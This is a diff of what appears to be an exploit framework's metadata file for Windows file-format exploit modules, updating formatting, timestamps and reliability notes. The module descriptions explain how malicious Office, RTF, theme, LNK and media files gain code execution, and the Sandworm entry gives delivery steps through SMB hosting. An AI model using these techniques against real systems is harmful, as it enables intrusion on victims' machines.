"needs_cleanup": null @@ -157367,9 +160949,7 @@ "exploit_windows/fileformat/ms11_021_xlb_bof": { "name": "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow", "fullname": "exploit/windows/fileformat/ms11_021_xlb_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-09", "type": "exploit", @@ -157379,7 +160959,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a vulnerability found in Excel of Microsoft Office 2007.\n By supplying a malformed .xlb file, an attacker can control the content (source)\n of a memcpy routine, and the number of bytes to copy, therefore causing a stack-\n based buffer overflow. This results in arbitrary code execution under the context of\n the user.", + "description": "This module exploits a vulnerability found in Excel of Microsoft Office 2007.\n By supplying a malformed .xlb file, an attacker can control the content (source)\n of a memcpy routine, and the number of bytes to copy, therefore causing a stack-\n based buffer overflow. This results in arbitrary code execution under the context of\n the user.", "references": [ "CVE-2011-0105", "OSVDB-71765", @@ -157389,17 +160969,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Excel 2007 on Windows XP", "Microsoft Office Excel 2007 SP2 on Windows XP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms11_021_xlb_bof", @@ -157407,6 +160983,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157414,9 +160999,7 @@ "exploit_windows/fileformat/ms12_005": { "name": "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", "fullname": "exploit/windows/fileformat/ms12_005", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-10", "type": "exploit", @@ -157424,7 +161007,7 @@ "Yorick Koster", "sinn3r " ], - "description": "This module exploits a vulnerability found in Microsoft Office's ClickOnce\n feature. When handling a Macro document, the application fails to recognize\n certain file extensions as dangerous executables, which can be used to bypass\n the warning message. This can allow attackers to trick victims into opening the\n malicious document, which will load up either a python or ruby payload, and\n finally, download and execute an executable.", + "description": "This module exploits a vulnerability found in Microsoft Office's ClickOnce\n feature. When handling a Macro document, the application fails to recognize\n certain file extensions as dangerous executables, which can be used to bypass\n the warning message. This can allow attackers to trick victims into opening the\n malicious document, which will load up either a python or ruby payload, and\n finally, download and execute an executable.", "references": [ "CVE-2012-0013", "OSVDB-78207", @@ -157436,16 +161019,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word 2007/2010 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms12_005.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms12_005", @@ -157453,6 +161032,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157460,9 +161048,7 @@ "exploit_windows/fileformat/ms12_027_mscomctl_bof": { "name": "MS12-027 MSCOMCTL ActiveX Buffer Overflow", "fullname": "exploit/windows/fileformat/ms12_027_mscomctl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-04-10", "type": "exploit", @@ -157471,7 +161057,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious\n RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited\n in the wild on April 2012.\n\n This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office\n 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses\n \"msgr3en.dll\", which will load after office got load, so the malicious file must\n be loaded through \"File / Open\" to achieve exploitation.", + "description": "This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious\n RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited\n in the wild on April 2012.\n\n This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office\n 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses\n \"msgr3en.dll\", which will load after office got load, so the malicious file must\n be loaded through \"File / Open\" to achieve exploitation.", "references": [ "CVE-2012-0158", "OSVDB-81125", @@ -157482,17 +161068,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English", "Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms12_027_mscomctl_bof", @@ -157500,6 +161082,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157507,9 +161098,7 @@ "exploit_windows/fileformat/ms13_071_theme": { "name": "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution", "fullname": "exploit/windows/fileformat/ms13_071_theme", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-10", "type": "exploit", @@ -157518,7 +161107,7 @@ "juan vazquez ", "Matthew Hall " ], - "description": "This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows\n 2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]\n section. An arbitrary path can be used as screen saver, including a remote SMB resource,\n which allows for remote code execution when a malicious .theme file is opened, and the\n \"Screen Saver\" tab is viewed. The code execution is also triggered if the victim installs\n the malicious theme and stays away from the computer, when Windows tries to display the\n screensaver.", + "description": "This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows\n 2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]\n section. An arbitrary path can be used as screen saver, including a remote SMB resource,\n which allows for remote code execution when a malicious .theme file is opened, and the\n \"Screen Saver\" tab is viewed. The code execution is also triggered if the victim installs\n the malicious theme and stays away from the computer, when Windows tries to display the\n screensaver.", "references": [ "CVE-2013-0810", "OSVDB-97136", @@ -157530,16 +161119,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows 2003 SP2" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms13_071_theme.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms13_071_theme", @@ -157547,6 +161132,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157554,9 +161148,7 @@ "exploit_windows/fileformat/ms14_017_rtf": { "name": "MS14-017 Microsoft Word RTF Object Confusion", "fullname": "exploit/windows/fileformat/ms14_017_rtf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-01", "type": "exploit", @@ -157565,7 +161157,7 @@ "Spencer McIntyre", "unknown" ], - "description": "This module creates a malicious RTF file that when opened in\n vulnerable versions of Microsoft Word will lead to code execution.\n The flaw exists in how a listoverridecount field can be modified\n to treat one structure as another.\n\n This bug was originally seen being exploited in the wild starting\n in April 2014. This module was created by reversing a public\n malware sample.", + "description": "This module creates a malicious RTF file that when opened in\n vulnerable versions of Microsoft Word will lead to code execution.\n The flaw exists in how a listoverridecount field can be modified\n to treat one structure as another.\n\n This bug was originally seen being exploited in the wild starting\n in April 2014. This module was created by reversing a public\n malware sample.", "references": [ "CVE-2014-1761", "MSB-MS14-017", @@ -157575,16 +161167,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office 2010 SP2 English on Windows 7 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/fileformat/ms14_017_rtf.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms14_017_rtf", @@ -157597,6 +161185,9 @@ ], "SideEffects": [ "screen-effects" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": false, @@ -157605,9 +161196,7 @@ "exploit_windows/fileformat/ms14_060_sandworm": { "name": "MS14-060 Microsoft Windows OLE Package Manager Code Execution", "fullname": "exploit/windows/fileformat/ms14_060_sandworm", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-14", "type": "exploit", @@ -157616,7 +161205,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)\n allowing arbitrary code execution, publicly known as \"Sandworm\". Platforms such as Windows\n Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be\n vulnerable. However, based on our testing, the most reliable setup is on Windows platforms\n running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such\n as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to\n a failure in the CPackage::CreateTempFileName function.\n\n This module will generate three files: an INF, a GIF, and a PPSX file. You are required to\n set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an\n older version of Windows (such as XP) work best for this because they require little\n configuration to get going. The PPSX file is what you should send to your target.\n\n In detail, the vulnerability has to do with how the Object Packager 2 component\n (packager.dll) handles an INF file that contains malicious registry changes, which may be\n leveraged for code execution. First of all, Packager does not load the INF file directly.\n As an attacker, you can trick it to load your INF anyway by embedding the file path as\n a remote share in an OLE object. The packager will then treat it as a type of media file,\n and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will\n download it with a CopyFileW call, save it in a temp folder, and pass that information for\n later. The exploit will do this loading process twice: first for a fake gif file that's\n actually the payload, and the second for the INF file.\n\n The packager will also look at each OLE object's XML Presentation Command, specifically the\n type and cmd property. In the exploit, \"verb\" media command type is used, and this triggers\n the packager!CPackage::DoVerb function. Also, \"-3\" is used as the fake gif file's cmd\n property, and \"3\" is used for the INF. When the cmd is \"-3\", DoVerb will bail. But when \"3\"\n is used (again, for the INF file), it will cause the packager to try to find appropriate\n handler for it, which will end up with C:\\Windows\\System32\\infDefaultInstall.exe, and that\n will install/run the malicious INF file, and finally give us arbitrary code execution.", + "description": "This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)\n allowing arbitrary code execution, publicly known as \"Sandworm\". Platforms such as Windows\n Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be\n vulnerable. However, based on our testing, the most reliable setup is on Windows platforms\n running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such\n as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to\n a failure in the CPackage::CreateTempFileName function.\n\n This module will generate three files: an INF, a GIF, and a PPSX file. You are required to\n set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an\n older version of Windows (such as XP) work best for this because they require little\n configuration to get going. The PPSX file is what you should send to your target.\n\n In detail, the vulnerability has to do with how the Object Packager 2 component\n (packager.dll) handles an INF file that contains malicious registry changes, which may be\n leveraged for code execution. First of all, Packager does not load the INF file directly.\n As an attacker, you can trick it to load your INF anyway by embedding the file path as\n a remote share in an OLE object. The packager will then treat it as a type of media file,\n and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will\n download it with a CopyFileW call, save it in a temp folder, and pass that information for\n later. The exploit will do this loading process twice: first for a fake gif file that's\n actually the payload, and the second for the INF file.\n\n The packager will also look at each OLE object's XML Presentation Command, specifically the\n type and cmd property. In the exploit, \"verb\" media command type is used, and this triggers\n the packager!CPackage::DoVerb function. Also, \"-3\" is used as the fake gif file's cmd\n property, and \"3\" is used for the INF. When the cmd is \"-3\", DoVerb will bail. But when \"3\"\n is used (again, for the INF file), it will cause the packager to try to find appropriate\n handler for it, which will end up with C:\\Windows\\System32\\infDefaultInstall.exe, and that\n will install/run the malicious INF file, and finally give us arbitrary code execution.", "references": [ "CVE-2014-4114", "OSVDB-113140", @@ -157628,16 +161217,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 / Office 2010 SP2 / Office 2013" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/fileformat/ms14_060_sandworm.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms14_060_sandworm", @@ -157648,12 +161233,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "sandworm" ] @@ -157664,9 +161245,7 @@ "exploit_windows/fileformat/ms14_064_packager_python": { "name": "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python", "fullname": "exploit/windows/fileformat/ms14_064_packager_python", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-12", "type": "exploit", @@ -157675,7 +161254,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)\n allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability\n publicly known as \"Sandworm\", on systems with Python for Windows installed. Windows Vista\n SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.\n However, based on our testing, the most reliable setup is on Windows platforms running\n Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as\n those using Office 2010 SP1 may be less stable, and may end up with a crash due to a\n failure in the CPackage::CreateTempFileName function.", + "description": "This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)\n allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability\n publicly known as \"Sandworm\", on systems with Python for Windows installed. Windows Vista\n SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.\n However, based on our testing, the most reliable setup is on Windows platforms running\n Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as\n those using Office 2010 SP1 may be less stable, and may end up with a crash due to a\n failure in the CPackage::CreateTempFileName function.", "references": [ "CVE-2014-6352", "MSB-MS14-064", @@ -157685,16 +161264,12 @@ "platform": "Python", "arch": "python", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013" ], - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms14_064_packager_python.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms14_064_packager_python", @@ -157702,6 +161277,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157709,9 +161293,7 @@ "exploit_windows/fileformat/ms14_064_packager_run_as_admin": { "name": "MS14-064 Microsoft Windows OLE Package Manager Code Execution", "fullname": "exploit/windows/fileformat/ms14_064_packager_run_as_admin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-21", "type": "exploit", @@ -157720,7 +161302,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)\n allowing arbitrary code execution, publicly exploited in the wild as MS14-060 patch bypass.\n The Microsoft update tried to fix the vulnerability publicly known as \"Sandworm\". Platforms\n such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known\n to be vulnerable. However, based on our testing, the most reliable setup is on Windows\n platforms running Office 2013 and Office 2010 SP2. Please keep in mind that some other\n setups such as using Office 2010 SP1 might be less stable, and may end up with a\n crash due to a failure in the CPackage::CreateTempFileName function.", + "description": "This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)\n allowing arbitrary code execution, publicly exploited in the wild as MS14-060 patch bypass.\n The Microsoft update tried to fix the vulnerability publicly known as \"Sandworm\". Platforms\n such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known\n to be vulnerable. However, based on our testing, the most reliable setup is on Windows\n platforms running Office 2013 and Office 2010 SP2. Please keep in mind that some other\n setups such as using Office 2010 SP1 might be less stable, and may end up with a\n crash due to a failure in the CPackage::CreateTempFileName function.", "references": [ "CVE-2014-6352", "MSB-MS14-064", @@ -157730,16 +161312,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1 / Office 2010 SP2 / Office 2013" ], - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms14_064_packager_run_as_admin", @@ -157747,6 +161325,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157754,9 +161341,7 @@ "exploit_windows/fileformat/ms15_020_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-10", "type": "exploit", @@ -157764,7 +161349,7 @@ "Michael Heerklotz", "juan vazquez " ], - "description": "This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling\n of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious\n DLL. This module creates the required files to exploit the vulnerability. They must be\n uploaded to an UNC path accessible by the target. This module has been tested successfully\n on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027\n installed.", + "description": "This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling\n of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious\n DLL. This module creates the required files to exploit the vulnerability. They must be\n uploaded to an UNC path accessible by the target. This module has been tested successfully\n on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027\n installed.", "references": [ "CVE-2015-0096", "MSB-MS15-020", @@ -157774,16 +161359,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms15_020_shortcut_icon_dllloader", @@ -157791,6 +161372,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157798,16 +161388,14 @@ "exploit_windows/fileformat/ms15_100_mcl_exe": { "name": "MS15-100 Microsoft Windows Media Center MCL Vulnerability", "fullname": "exploit/windows/fileformat/ms15_100_mcl_exe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-08", "type": "exploit", "author": [ "sinn3r " ], - "description": "This module exploits a vulnerability in Windows Media Center. By supplying\n an UNC path in the *.mcl file, a remote file will be automatically downloaded,\n which can result in arbitrary code execution.", + "description": "This module exploits a vulnerability in Windows Media Center. By supplying\n an UNC path in the *.mcl file, a remote file will be automatically downloaded,\n which can result in arbitrary code execution.", "references": [ "CVE-2015-2509", "MSB-MS15-100" @@ -157815,16 +161403,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms15_100_mcl_exe", @@ -157832,41 +161416,49 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ms_visual_basic_vbp": { - "name": "Microsoft Visual Basic VBP Buffer Overflow", + "name": "Microsoft Visual Basic VBP Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ms_visual_basic_vbp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-09-04", "type": "exploit", "author": [ - "MC " + "Koshi", + "MC ", + "bcoles " ], - "description": "This module exploits a stack buffer overflow in Microsoft Visual\n Basic 6.0. When a specially crafted vbp file containing a long\n reference line, an attacker may be able to execute arbitrary\n code.", + "description": "This module exploits a stack buffer overflow in Microsoft Visual Basic\n 6.0. A specially crafted Visual Basic Project (VBP) file containing\n a long reference line can be used to execute arbitrary code.", "references": [ "CVE-2007-4776", + "CWE-119", + "EDB-4361", "OSVDB-36936", "BID-25629" ], "platform": "Windows", - "arch": "", + "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ - "Windows XP SP2 English" + "Windows XP SP0-SP3 (x86) (English)", + "Windows XP SP1-SP2 (x86-64) (English)" ], - "mod_time": "2021-02-13 04:10:13 +0000", + "mod_time": "2025-06-23 00:11:54 +0000", "path": "/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms_visual_basic_vbp", @@ -157874,6 +161466,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [ + "unreliable-session" + ] }, "session_types": false, "needs_cleanup": null @@ -157881,9 +161482,7 @@ "exploit_windows/fileformat/mswin_tiff_overflow": { "name": "MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow", "fullname": "exploit/windows/fileformat/mswin_tiff_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-11-05", "type": "exploit", @@ -157902,16 +161501,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 with Office Standard 2010" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb", "is_install_path": true, "ref_name": "windows/fileformat/mswin_tiff_overflow", @@ -157919,6 +161514,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157926,16 +161530,14 @@ "exploit_windows/fileformat/msworks_wkspictureinterface": { "name": "Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution", "fullname": "exploit/windows/fileformat/msworks_wkspictureinterface", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-11-28", "type": "exploit", "author": [ "dean " ], - "description": "The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker\n to execute arbitrary code on a system. By passing a negative integer to the\n WksPictureInterface method, an attacker could execute arbitrary code on the system\n with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.\n This control is not marked safe for scripting, please choose your attack vector carefully.", + "description": "The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker\n to execute arbitrary code on a system. By passing a negative integer to the\n WksPictureInterface method, an attacker could execute arbitrary code on the system\n with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.\n This control is not marked safe for scripting, please choose your attack vector carefully.", "references": [ "CVE-2008-1898", "OSVDB-44458" @@ -157943,16 +161545,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2-SP3 IE 7.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb", "is_install_path": true, "ref_name": "windows/fileformat/msworks_wkspictureinterface", @@ -157960,6 +161558,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157967,9 +161574,7 @@ "exploit_windows/fileformat/mymp3player_m3u": { "name": "Steinberg MyMP3Player 3.0 Buffer Overflow", "fullname": "exploit/windows/fileformat/mymp3player_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-03-18", "type": "exploit", @@ -157977,7 +161582,7 @@ "n3w7u", "m_101" ], - "description": "This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When\n the application is used to open a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", + "description": "This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When\n the application is used to open a specially crafted m3u file, a buffer overflow occurs\n allowing arbitrary code execution.", "references": [ "OSVDB-64580", "EDB-11791" @@ -157985,18 +161590,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal", "Windows Universal (SEH)", "Windows XP SP3 French" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mymp3player_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/mymp3player_m3u", @@ -158004,6 +161605,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158011,16 +161621,14 @@ "exploit_windows/fileformat/netop": { "name": "NetOp Remote Control Client 9.5 Buffer Overflow", "fullname": "exploit/windows/fileformat/netop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-28", "type": "exploit", "author": [ "Ruben Alejandro \"chap0\"" ], - "description": "This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.\n When opening a .dws file containing a specially crafted string longer then 520\n characters will allow an attacker to execute arbitrary code.", + "description": "This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.\n When opening a .dws file containing a specially crafted string longer then 520\n characters will allow an attacker to execute arbitrary code.", "references": [ "OSVDB-72291", "EDB-17223" @@ -158028,16 +161636,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/netop.rb", "is_install_path": true, "ref_name": "windows/fileformat/netop", @@ -158045,6 +161649,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158052,9 +161665,7 @@ "exploit_windows/fileformat/nitro_reader_jsapi": { "name": "Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution", "fullname": "exploit/windows/fileformat/nitro_reader_jsapi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-24", "type": "exploit", @@ -158072,16 +161683,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb", "is_install_path": true, "ref_name": "windows/fileformat/nitro_reader_jsapi", @@ -158089,6 +161696,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -158096,9 +161712,7 